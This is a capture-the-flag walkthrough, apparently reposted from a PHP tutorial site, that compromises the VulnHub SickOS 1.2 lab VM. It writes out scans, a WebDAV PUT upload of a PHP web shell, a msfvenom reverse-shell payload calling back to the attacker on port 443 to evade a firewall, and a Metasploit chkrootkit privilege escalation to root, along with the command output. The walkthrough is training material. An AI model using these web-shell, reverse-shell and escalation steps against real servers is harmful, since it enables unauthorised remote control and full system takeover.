The experimental environment is as follows:
Basic idea:
Network Scanning (Netdiscover, Nmap)
root@host06:~# nmap -sV -T4 -A 192.168.32.169 Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-21 19:19 CST Nmap scan report for 192.168.32.169 Host is up (0.00085s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) | http-robots.txt: 5 disallowed entries |_/ange1 /angel1 /nothing /tmp /uploads |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Dina MAC Address: 00:0C:29:29:82:CE (VMware) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.5 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.85 ms 192.168.32.169 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds
As can be seen from the above scan, the host only has the following services and ports open:
2) Use dirb to scan the website directory
root@host06:~# dirb http://192.168.32.169
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Jun 21 19:25:51 2019
URL_BASE: http://192.168.32.169/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.32.169/ ----
+ http://192.168.32.169/index.php (CODE:200|SIZE:163)
==> DIRECTORY: http://192.168.32.169/test/
---- Entering directory: http://192.168.32.169/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Fri Jun 21 19:26:01 2019
DOWNLOADED: 4612 - FOUND: 1
When using niko to scan, I found "The X-Content-Type-Options header is not set",
root@host06:~# nikto -h http://192.168.32.169 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.32.169 + Target Hostname: 192.168.32.169 + Target Port: 80 + Start Time: 2019-06-21 19:34:28 (GMT8) --------------------------------------------------------------------------- + Server: lighttpd/1.4.28 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + All CGI directories 'found', use '-C none' to test none + Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21 + 26545 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2019-06-21 19:37:21 (GMT8) (173 seconds)
Use curl -v -X OPTIONS again http:// 192.168.32.169/test test, confirm that injection can be done by "put" and other methods
root@host06:~# curl -v -X OPTIONS http://192.168.32.169/test * Expire in 0 ms for 6 (transfer 0x5588c3fe4d00) * Trying 192.168.32.169... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x5588c3fe4d00) * Connected to 192.168.32.169 (192.168.32.169) port 80 (#0) > OPTIONS /test HTTP/1.1 > Host: 192.168.32.169 > User-Agent: curl/7.64.0 > Accept: */* > < HTTP/1.1 301 Moved Permanently < DAV: 1,2 < MS-Author-Via: DAV < Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK < Location: http://192.168.32.169/test/ < Content-Length: 0 < Date: Fri, 21 Jun 2019 15:16:48 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.32.169 left intact
Use curl's put method to upload a file curl -v -X PUT -d 'I am a boy' http:// 192.168.32.169/test/test.txt
root@host06:~# curl -v -X PUT -d 'I am a boy' http://192.168.32.169/test/test.txt * Expire in 0 ms for 6 (transfer 0x560c4ca07d00) * Trying 192.168.32.169... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x560c4ca07d00) * Connected to 192.168.32.169 (192.168.32.169) port 80 (#0) > PUT /test/test.txt HTTP/1.1 > Host: 192.168.32.169 > User-Agent: curl/7.64.0 > Accept: */* > Content-Length: 10 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 10 out of 10 bytes < HTTP/1.1 201 Created < Content-Length: 0 < Date: Fri, 21 Jun 2019 15:22:00 GMT < Server: lighttpd/1.4.28 < * Connection #0 to host 192.168.32.169 left intact
Use the same method to upload a php function that calls the shell command curl -X PUT -d '
root@host06:~# curl -X PUT -d '<?php system($_GET["cmd"]);' http://192.168.32.169/test/cmd.php root@host06:~# curl "http://192.168.32.169/test/cmd.php?cmd=id;" uid=33(www-data) gid=33(www-data) groups=33(www-data) root@host06:~# curl "http://192.168.32.169/test/cmd.php?cmd=ls%20-lha" total 16K drwxr-xr-x 2 www-data www-data 4.0K Jun 21 08:28 . drwxr-xr-x 3 root root 4.0K Apr 25 2016 .. -rw-r--r-- 1 www-data www-data 27 Jun 21 08:28 cmd.php -rw-r--r-- 1 www-data www-data 10 Jun 21 08:22 test.txt
generates a rebound shell script and uploads
msfvenom -p php/ meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.php (Note: The purpose of using port 443 here is to bypass the firewall)
root@host06:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 1113 bytes
Upload file method 1: Use the originally uploaded calling system cmd command method
Start a Python temporary web server to provide client download content. python -m SimpleHTTPServer 443 (Note: This uses port 443 to bypass the firewall)
And execute: curl "http://192.168.32.169/test/cmd.php?cmd=wget http://192.168. 32.10:443/put01.php" to download the put01.php file
root@host06:~# python -m SimpleHTTPServer 443 Serving HTTP on 0.0.0.0 port 443 ... 192.168.32.169 - - [21/Jun/2019 20:09:25] "GET /put01.php HTTP/1.1" 200 -
Upload file method 2: Use curl --upload-file
root@host06:~# curl --upload-file put02.php -v --url http://192.168.32.169/test/put02.php -0 --http1.0 * Expire in 0 ms for 6 (transfer 0x55e395728d00) * Trying 192.168.32.169... * TCP_NODELAY set * Expire in 200 ms for 4 (transfer 0x55e395728d00) * Connected to 192.168.32.169 (192.168.32.169) port 80 (#0) > PUT /test/put02.php HTTP/1.0 > Host: 192.168.32.169 > User-Agent: curl/7.64.0 > Accept: */* > Content-Length: 111 > * We are completely uploaded and fine * HTTP 1.0, assume close after body < HTTP/1.0 201 Created < Content-Length: 0 < Connection: close < Date: Sat, 22 Jun 2019 00:12:16 GMT < Server: lighttpd/1.4.28 < * Closing connection 0
Start msfconsole and set the following relevant parameters, and then Execute curl "http://192.168.32.169/test/put01.php" (that is, check and execute the shell just uploaded)
root@host06:~# msfconsole
_---------.
.' ####### ;."
.---,. ;@ @@`; .---,..
." @@@@@'.,'@@ @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'
"--'.@@@ -.@ @ ,'- .'--"
".@' ; @ @ `. ;'
|@@@@ @@@ @ .
' @@@ @@ @@ ,
`.@@@@ @@ .
',@@ @ ; _____________
( 3 C ) /|___ / Metasploit! \
;@'. __*__,." \|--- \_____________/
'(.,...."/
=[ metasploit v5.0.28-dev ]
+ -- --=[ 1897 exploits - 1068 auxiliary - 329 post ]
+ -- --=[ 547 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.32.10
lhost => 192.168.32.10
msf5 exploit(multi/handler) > set lport 443
lport => 443
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.32.10:443
[*] Sending stage (38247 bytes) to 192.168.32.169
[*] Meterpreter session 1 opened (192.168.32.10:443 -> 192.168.32.169:49617) at 2019-06-21 20:16:00 +0800
meterpreter > shell
Process 28313 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
chkrootkit -V
chkrootkit version 0.49
^Z
Background channel 0? [y/N] y
meterpreter >
Background session 1? [y/N] y
[-] Unknown command: y.Return to the msfconsole console, check the chkroot vulnerability, and use this vulnerability to ** *Test
msf5 exploit(multi/handler) > search chkroot Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/local/chkrootkit 2014-06-04 manual Yes Chkrootkit Local Privilege Escalation msf5 exploit(multi/handler) > use exploit/unix/local/chkrootkit msf5 exploit(unix/local/chkrootkit) > show options Module options (exploit/unix/local/chkrootkit): Name Current Setting Required Description ---- --------------- -------- ----------- CHKROOTKIT /usr/sbin/chkrootkit yes Path to chkrootkit SESSION yes The session to run this module on. Exploit target: Id Name -- ---- 0 Automatic msf5 exploit(unix/local/chkrootkit) > set session 1 session => 1 msf5 exploit(unix/local/chkrootkit) > set lport 8080 lport => 8080
Rerun***Test
msf5 exploit(unix/local/chkrootkit) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP double handler on 192.168.32.10:8080
msf5 exploit(unix/local/chkrootkit) > [!] Rooting depends on the crontab (this could take a while)
[*] Payload written to /tmp/update
[*] Waiting for chkrootkit to run via cron...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo tnDOwZeHQZJPT8fE;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "tnDOwZeHQZJPT8fE\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (192.168.32.10:8080 -> 192.168.32.169:33664) at 2019-06-21 19:01:31 +0800
[+] Deleted /tmp/update
msf5 exploit(unix/local/chkrootkit) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter php/linux www-data (33) @ ubuntu 192.168.32.10:443 -> 192.168.32.169:49613 (192.168.32.169)
2 shell cmd/unix 192.168.32.10:8080 -> 192.168.32.169:33664 (192.168.32.169)
msf5 exploit(unix/local/chkrootkit) > sessions -i 2
[*] Starting interaction with 2...
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
python -c 'import pty;pty.spawn("/bin/bash")'
root@ubuntu:~# cd /root
cd /root
root@ubuntu:~# ls
ls
304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz chkrootkit-0.49
7d03aaa2bf93d80040f3f22ec6ad9d5a.txt newRule
root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.The above is the detailed content of How to get SickOS 1.2 Flag. For more information, please follow other related articles on the PHP Chinese website!
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